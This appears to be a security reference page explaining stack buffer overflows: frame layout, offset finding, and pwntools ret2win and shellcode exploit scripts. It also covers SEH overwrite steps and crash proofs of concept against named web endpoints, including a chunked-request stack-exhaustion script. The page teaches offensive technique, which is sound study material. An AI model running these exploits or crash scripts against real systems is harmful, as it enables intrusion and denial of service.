Skip to main content
A stack overflow (more precisely a stack-based buffer overflow) occurs when a program writes more data into a stack-allocated buffer than the buffer was sized to hold. The excess bytes spill into adjacent stack memory, potentially overwriting the saved base pointer (EBP/RBP) and the saved return address (EIP/RIP). Because control flow returns to whatever address is stored in the saved return address, an attacker who controls that value controls program execution.

How stack frames work

When a function is called, the CPU pushes the return address onto the stack, the callee saves the old frame pointer, and then allocates space for local variables. A typical 64-bit frame looks like this:
High addresses
+--------------------+
| ... caller frame   |
+--------------------+
| return address     |  <-- overwriting this gives EIP/RIP control
+--------------------+
| saved RBP          |
+--------------------+
| local variables    |
| char buf[128]      |  <-- overflow starts here
+--------------------+
Low addresses
Functions such as gets, strcpy, strcat, and sprintf copy data without checking the destination size, making them classic vulnerability triggers.
void vulnerable(void) {
    char buffer[128];
    printf("Enter input: ");
    gets(buffer);   // no bounds check — overflow possible
    printf("You entered: %s\n", buffer);
}

Finding the offset to the return address

Using a De Bruijn (cyclic) pattern

Send a non-repeating pattern as input, observe which bytes end up in the instruction pointer after the crash, and calculate the offset.
from pwn import *

# Generate a 500-byte De Bruijn pattern
pattern = cyclic(500)

# After crash, read the value from EIP/RIP and find the offset
eip_value = p32(0x6161616c)          # example crash value (little-endian)
offset = cyclic_find(eip_value)
print(f"Offset to return address: {offset}")

Exploitation techniques

Ret2win

A ret2win challenge has a function inside the binary that is never called during normal execution — typically named win, secret, or similar. The exploit overwrites the return address with that function’s address.
from pwn import *

binary = ELF('./challenge')
p = process(binary.path)

win_addr = binary.symbols['win']   # find the hidden function
offset   = 40                      # bytes until saved return address

payload  = b'A' * offset
payload += p64(win_addr)

p.sendline(payload)
p.interactive()
ASLR is typically disabled in ret2win challenges because the binary is not PIE; the function address is fixed at link time.

Stack shellcode

If the stack is executable (NX absent) and ASLR is disabled, you can place shellcode in the buffer and redirect execution to it.
from pwn import *

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())   # generate /bin/sh shellcode
buf_addr  = 0xffffd4a0             # known stack address (no ASLR)
offset    = 40

payload  = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)

p = process('./vuln')
p.sendline(payload)
p.interactive()

ROP (when NX is enabled)

When the stack is non-executable, use Return-Oriented Programming to chain existing code fragments. See the dedicated ROP page.

Windows SEH overflow

On 32-bit Windows, structured exception handler (SEH) records are stored on the stack. An overflow can overwrite the SEH chain:
  1. The nSEH field (4 bytes before the handler pointer) is set to a short jump (\xeb\x06\x90\x90) that skips over the handler pointer.
  2. The handler pointer is replaced with the address of a POP POP RET gadget.
  3. When the exception fires, POP POP RET redirects execution to nSEH, which jumps into the payload buffer.

Real-world examples

The /cgi-bin/api.values.get endpoint copies each colon-delimited token into a 64-byte stack buffer without length checks. A token longer than 64 bytes corrupts saved registers. NX is enabled but there is no canary or PIE, so a ROP chain built from fixed addresses achieves code execution.
# Minimal crash PoC
curl -ik http://<target>/cgi-bin/api.values.get \
  --data "request=$(python3 -c 'print("A"*256)')"
An unbounded %s conversion in sscanf fills a 0x800-byte stack buffer from user-supplied URI data. Inputs longer than 0x800 bytes corrupt the stack canary and saved return address, causing a pre-authentication denial of service (and potentially RCE with an additional info leak).
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A" * 3000
requests.get(url, verify=False)
alloca() is called with a size proportional to the number of HTTP chunked-transfer segments (16 bytes per segment). Sending hundreds of thousands of 6-byte chunks causes stack exhaustion without any bounds check, crashing the server.
import socket

def exploit(host='localhost', port=8000, chunks=523_800):
    s = socket.create_connection((host, port))
    s.sendall((
        f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        "Transfer-Encoding: chunked\r\n\r\n"
    ).encode())
    for _ in range(chunks):
        s.send(b"1\r\nA\r\n")
    s.sendall(b"0\r\n\r\n")
    s.close()

Heap overflows

Overflows are not always on the stack. Heap-based overflows corrupt adjacent allocations and are covered in heap exploitation.

Protections quick reference

ProtectionWhat it doesCommon bypass
Stack canaryDetects linear overwrites before returnInfo leak, bruteforce in forking servers
NX / DEPNon-executable stackReturn-Oriented Programming
ASLRRandomises stack/heap/lib addressesInfo leak, partial overwrite
PIERandomises binary baseInfo leak of code pointer
Full RELRORead-only GOTRequires info leak and ROP

Build docs developers (and LLMs) love